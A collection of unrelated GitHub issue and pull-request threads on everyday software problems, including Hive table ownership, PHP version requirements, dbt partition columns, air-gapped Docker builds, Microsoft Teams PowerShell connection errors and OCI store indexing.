HIVE-24769: Included owner information in the Table object in Hi…

…veMetaStoreClient#getTables()

What changes were proposed in this pull request?
Table object has table owner information so that authorization can be done on these objects.

Why are the changes needed?
Otherwise, the "show tables" command in beeline shows all the tables in db instead of the user-owned tables. By having this info, we can filter out tables that are not owned by the user.

Does this PR introduce any user-facing change?
No.

How was this patch tested?
Local Machine, Remote cluster.

This is been committed to master. Please close the PR.


PHP 7 compatibility

Hi there,
I really want to use this package but our infra is stuck on PHP 7.0 at the moment.
I was wondering if it would be possible to let me know what areas of the codebase are PHP 7.1+ so that I can fork this package and make it work for our need.
Or maybe Travis could be used to run your test suite in a PHP 7.0 container if the coverage is good to do it for us?
Any thoughts would be greatly appreciated. Thanks!

Hi @mikefrancis,
I think it should be compatible with php 7.0.
Neither of dependencies require 7.1+ and in my own code I haven't used any new 7.1 features yet.
I required 7.1+ to keep the same version as new Laravel requirement and be able to add such things as type hinting, when I refactor the code.
You can try to install the package ignoring environment requirements:
composer require --ignore-platform-reqs babenkoivan/scout-elasticsearch-driver

Or you can use v3.2.1 for php 7.0.

Awesome, thank you


Custom DNS servers

Hello, Would it be possible to make option to provide custom DNS servers?
Currently docker is using <IP_ADDRESS>/<IP_ADDRESS>
I would like to provide another DNS servers at runtime.
I can edit those in etc/resolv, but it resets every time i restart host PC.

@gacekssj4 Sorry, It's not a feature supported by Puppeteer.


Unrecognized name _PARTITIONTIME for models with time ingestion partitioning

I have two models, Model A (upstream) and B (downstream). Model A is an incremental model and it sets "time_ingestion_partitioning": true in its config. Model B selects from Model A using partition filter, e.g. WHERE _PARTITIONTIME = 'YYYY-MM-DD HH:MM:SS'.
dbt dry run fails on Model B with below error:
Node model.dbt_project.model_b failed with exception:
400 POST https://bigquery.googleapis.com/bigquery/v2/projects/gcp-project/jobs?prettyPrint=false: Unrecognized name: _PARTITIONTIME

This is because the dry runner does not add the _PARTITIONTIME column to the expected schema of Model A so it doesn't get included in the select literal.
Probably not that hard to fix, the snapshot_runner does something similar. We just need to say if the dry run is successful and time_ingestion_partitioning == true then add the _PARTITIONTIME column to the predicted schema. It would have to be just after this line I think


use new \e escape sequence

hmmm. i think this only worked for me since i have a newer sdk
i will close and resubmit when .net 9 is out


Unable to Reproduce the results presensted in the paper

Hello Authors,
Thank you for this amazing work. I am trying to reproduce the results that you have mentioned in the paper. I ran the following command
python scripts/test.py --config-file config-files/crowdai_hrnet48.yaml
And the results were as follows:

As you can see the results are very far as compared to the ones mentioned in the paper. I am wondering what could have happened? If I am doing something wrong while running the test.py script then please let me know. I am looking forward for some help on this.

Hi, thanks for your attention. Did you download the provided pretrained models for AICrowd dataset? The evaluation scores seem too low. One guess is that the well-trained parameters may not loaded. We are happy to help if you could give more details.

Hey, yes I have downloaded the AICrowd dataset. Could you let me know what specific details are you looking for?

Please check if the pretrained parameters are loaded successfully.


feat(all): pass featureAppName as consumerName to Feature Service binder

We should continue to work on this.


docs: add contribution-guidelines

Hi @akrish4  and @paulsonjpaul,
This is related to issue #1

Nice. But, where is the details about creating a new topic? For example, if I want to add a separate topic, how can I add it? Please include it as well.

Check it again

Nice. But, where is the details about creating a new topic? For example, if I want to add a separate topic, how can I add it? Please include it as well.

Check it again


Building an OGG 4 Microservices image in an air-gapped system

Hi!
I have a zip file for building my OGG 4 Microservices image. But on my work we don't have an Internet access so I can't install oracle-softwarecollection-release-el7 (in my case) and rh-nginx18 (but we have a local repo with openssl, java-1.8.0-openjdk-headless and python-requests.
I thought to add some lines to oracle-linux image (adding repos, etc) and leave OGG Dockerfile untouched and build it normally.
And it is possible to download some rpms from the Internet and pass them to the inner network. I could build an image and then send it inside but it would be very large to send it (inner restrictions).
So is it possible to somehow preset repos and packages to make OGG image build successfully?

Why can't you build the image on a non-airgapped system and then transfer the built image into the airgapped environment? If this is not possible, you will still need to run the build on a system connected to the internet to determine which packages are required by the build system so that you can mirror those internally.

@Djelibeybi it's actually the same as #1260. I have a zip but transfer of a pre-built image is not suitable for me. In case if there are very few packages I need to make it work and they are small enough so I could transfer them inside our network and then install them.

You're commenting on the Internet now, so clearly you have some access at some point. :) You'll need to run this build on an Internet-connected system to determine which packages are required and then download and copy those packages across into your airgapped system. You can download packages from yum.oracle.com or use a mirror server (which is the preferred option).
I'm going to close this issue now because determining how to build our images in an airgapped system is beyond the scope of the support in this repository. If you have Oracle support, you may open an SR at https://support.oracle.com for further assistance.


Fix validator

by fixing a typo.

Pull Request Test Coverage Report for Build 144

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at ?%

Totals

Change from base Build 166:
0.0%

Covered Lines:

Relevant Lines:
0

💛  - Coveralls

Pull Request Test Coverage Report for Build 167

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at ?%

Totals

Change from base Build 166:
0.0%

Covered Lines:

Relevant Lines:
0

💛  - Coveralls


Dim feature not working with Home Assistant

I'm trying to get dimming to work with HomeAssistant but the brightness value isn't being passed through.
When using the dimming test button, the logs on HomeAssistant is showing the brightness being set at 1.0 regardless of what the slider's value is on HA-Bridge.
I have tried with the raw and percentage values.
Is there further configuration needed when adding the light from the HomeAssistant tab? From what I can see the Dim items command is the same as the On items command. Is this correct?

what bridge  version are you running?

Any issues still?

Sorry,
Yep. Still not dimming the lights.
Bridge version. 4.2
On Wed., 8 Mar. 2017, 7:29 am BWS Systems<EMAIL_ADDRESS>wrote:

Any issues still?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/bwssytems/ha-bridge/issues/519#issuecomment-284865173,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ACJfiASBzvMxyg2_HgHEY77v_7MvInBPks5rjcwigaJpZM4MTv1x
.

Ahh, when you create the device, you need to select the dim control at the top of the page to be one of the selections.

Did that answer your question?

Thank you very much! It works now.


Error when removing items from an array.

I have tried many things today to try and work with an array of strings through angular-meteor.
This illustrates the primary thing I would expect to work:
http://meteorpad.com/pad/5r9Xz4ceRFaXfBgLb/Array-Error
If you click around the select a bit removing an item will cause a long error in the console.
I tried forcing the data in mongodb to be an array, since it more often than not, but intermittently creates an array or and object, I have tried a lot of things to get rid of this issue, even removing the array and creating a new one every time the select updates, to no avail, I still get these lengthy errors.
Is there anything I can do to work around this? am I doing it the wrong way?

Fixed in 1.0.0-rc.10

I think this issue is different from #706.
It does however seem to be the same as #689

Have you try to see if the pull request fixes that for you?
On Sat, Sep 26, 2015 at 11:33 PM lanmower<EMAIL_ADDRESS>wrote:

I think this issue is different from #706
https://github.com/Urigo/angular-meteor/issues/706.
It does however seem to be the same as #689
https://github.com/Urigo/angular-meteor/issues/689
—
Reply to this email directly or view it on GitHub
https://github.com/Urigo/angular-meteor/issues/705#issuecomment-143492495
.

Thanks for the response Uri.
No luck, the meteorpad seems to be fixed, however the problem is still
happening locally.
Is this possibly because meteorpad is not 1.2 yet?
On Sat, Sep 26, 2015 at 10:42 PM, Uri Goldshtein<EMAIL_ADDRESS>wrote:

Have you try to see if the pull request fixes that for you?
On Sat, Sep 26, 2015 at 11:33 PM lanmower<EMAIL_ADDRESS>wrote:

I think this issue is different from #706
https://github.com/Urigo/angular-meteor/issues/706.
It does however seem to be the same as #689
https://github.com/Urigo/angular-meteor/issues/689
—
Reply to this email directly or view it on GitHub
<
https://github.com/Urigo/angular-meteor/issues/705#issuecomment-143492495>
.

—
Reply to this email directly or view it on GitHub
https://github.com/Urigo/angular-meteor/issues/705#issuecomment-143492984
.

Hi @lanmower can you please try now with Meteor <IP_ADDRESS> ?


Various errors calling Connect-MicrosoftTeams

We are trying to help a client of ours who, when the attempt to connect using this cmdlet, they get the following errors
$user =<EMAIL_ADDRESS>$pw = 'aPassword'
$cred = New-Object System.Management.Automation.PSCredential($user,  (ConvertTo-SecureString $pw -AsPlainText -Force))
Connect-Microsoftteams -Credential $cred
Connect-Microsoftteams : One or more errors occurred.
At line:4 char:1

Connect-Microsoftteams -Credential $cred

CategoryInfo          : AuthenticationError: (:) [Connect-MicrosoftTeams], AggregateException
FullyQualifiedErrorId : Connect-MicrosoftTeams,Microsoft.TeamsCmdlets.Powershell.Connect.ConnectMicrosoftTeams

Connect-Microsoftteams : An error occurred while sending the request.
At line:4 char:1

Connect-Microsoftteams -Credential $cred

CategoryInfo          : AuthenticationError: (:) [Connect-MicrosoftTeams], HttpRequestException
FullyQualifiedErrorId : Connect-MicrosoftTeams,Microsoft.TeamsCmdlets.Powershell.Connect.ConnectMicrosoftTeams

Connect-Microsoftteams : The underlying connection was closed: An unexpected error occurred on a send.
At line:4 char:1

Connect-Microsoftteams -Credential $cred

CategoryInfo          : AuthenticationError: (:) [Connect-MicrosoftTeams], WebException
FullyQualifiedErrorId : Connect-MicrosoftTeams,Microsoft.TeamsCmdlets.Powershell.Connect.ConnectMicrosoftTeams

Connect-Microsoftteams : Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host.
At line:4 char:1

Connect-Microsoftteams -Credential $cred

CategoryInfo          : AuthenticationError: (:) [Connect-MicrosoftTeams], IOException
FullyQualifiedErrorId : Connect-MicrosoftTeams,Microsoft.TeamsCmdlets.Powershell.Connect.ConnectMicrosoftTeams

Connect-Microsoftteams : An existing connection was forcibly closed by the remote host
At line:4 char:1

Connect-Microsoftteams -Credential $cred

CategoryInfo          : AuthenticationError: (:) [Connect-MicrosoftTeams], SocketException
FullyQualifiedErrorId : Connect-MicrosoftTeams,Microsoft.TeamsCmdlets.Powershell.Connect.ConnectMicrosoftTeams

Connect-Microsoftteams : Object reference not set to an instance of an object.
At line:4 char:1

Connect-Microsoftteams -Credential $cred

CategoryInfo          : NotSpecified: (:) [Connect-MicrosoftTeams], NullReferenceException
FullyQualifiedErrorId : System.NullReferenceException,Microsoft.TeamsCmdlets.Powershell.Connect.ConnectMicrosoftTeams

If they enter Connect-MicrosoftTeams and enter the credential information specified by the variables, they do properly get connected, so we know their credentials work and we know that there is no firewall blocking connection to O365
Tls1.2 is enabled also

@sarollins, thank you for submitting feedback.
I think the best way forward is if you open a service ticket in your tenant so this can get resolved ASAP. Based on the outcome, let me know if it can be called out in the docs.
Please follow this link to contact support for business products: https://docs.microsoft.com/office365/admin/contact-support-for-business-products.
Please keep us posted here on the resolution to feed whatever information you discover into the content.

@dariomws Thank you very much for the contribution and sharing this explanation. @sarollins Hope this comment is helpful for you. Considering the nature of the issue, as advised, please open a service ticket in your tenant and follow with them for the resolution. We proceed to close it as here we are limited to documentation fixes and improvements only.
We will be very happy if you can share the outcome or resolution with us if you see documentation update is required. We will certainly update this documentation with that valuable information. Thanks again, for taking out some time to open the issue. Appreciate and encourage you to do the same in future also.


docs: update instructions to generate proto definitions

Went through the current docs on my new setup and realized some deps were missing, so we now explicitly use go get.
Fixes #1699.

Should be consolidated with https://github.com/lightningnetwork/lnd/pull/1467

Ok, solved the problem.
Took your instructions, and added one additional step.
After "Make install" on line 157, I added "Checkout master".
This seemed to be the critical step needed to get everything working.
Thanks for the help.

This PR has been reworked to replace #1467. The rpc.proto file had to be broken down into two, each containing a single service. This is needed to prevent the following diff, where the top 4 RPCs of the Lightning service would be replaced with the WalletUnlocker RPCs.

Before landing this in, we should also update the documentation parser (https://api.lightning.community) to reflect the new changes.


init-> package "xxxx" not working as excpected

See here for more info
https://github.com/fuse-box/fuse-box-aurelia-loader/issues/5

@nchanged
This is related to this one:
https://github.com/fuse-box/fuse-box/issues/239
So Im closing it


User object needs some description updates

Now that we have added the Account object to User its description should be overridden to say the "account to which the user belongs" rather than the generic dictionary description of "The account object describes details about the account that was the source or target of the activity."
Separately: we have a UUID (uuid_t) data type.  However uuid in the dictionary is of type String, not UUID.
The uuid in User is described as "The universally unique identifier of the user. If uuid is String (i.e. no specific format), then the description could apply: "AWS ARN or Windows user GUID."  The AWS arn is not a UUID.  The AWS arn would likely be the uid attribute for the AWS user in the AWS account.  However uid is described with the example of "AWS PrincipalID or Windows user SID."

Note that the UUID issue was handled via #573  PR.

Per comments on PR #620 the uuid of type UUID (RFC 4122, 128 bit) should not be used here, as we want to cast a wider net for the ID - the uid is the preferred primary user ID.  As there is often another internal ID, such as an AD GUID, or AWS Principal ID which is not a GUID, we need an alternate ID (e.g. alt_uid) to carry that information.
We reserve uuid of type UUID specifically when the value is and must be a GUID, and can be validated.  Other objects need adjustment as well: Container (prod_uuid -> prod_uid), Session ('uuid->alt_uid; maps to Windows Logon GUID) and Device (uuid->alt_uid`).

PR #620 Merged.


Delayed active user list

user1 logs in, name shows up in active users
user2 logs in,  only user1 name shows up
user3 logins, only user1 and user2 names show up

solved this bug in latest commit


Stop syncing fonts

This stops syncing font files that ProPlot should not have been syncing... there is a new rctools.use_font function, automatically called on import just like the rctools.ipython_* functions, that tries to use Helvetica and Arial only if they are available on the system or in the ~/.proplot/fonts folder.

This also cleans up show_colors; the algorithm for dividing up color names into hue-columns is a lot cleaner now. Should have probably done separate commits; oh well.


OCI store should support discovering predecessors that are not tagged

Currently, when restoring from an existing OCI layout, the OCI store will index the predecessor relationships for all the manifests in index.json, which are tagged manifests.
However, the predecessors of manifests are usually not tagged and are not present in index.json.
As a result, these predecessors will not be indexed, and they cannot be discovered by the Predecessors() function of the OCI store. This blocks scenarios like extended-copying a graph from an OCI store that is restored from an existing OCI layout to other Targets.

We can apply tag schema in the distribution-spec to OCI layout.

The implementation of zot gives an idea that we can store un-tagged manifests in the index.json so that predecessors can be indexed without a tag schema.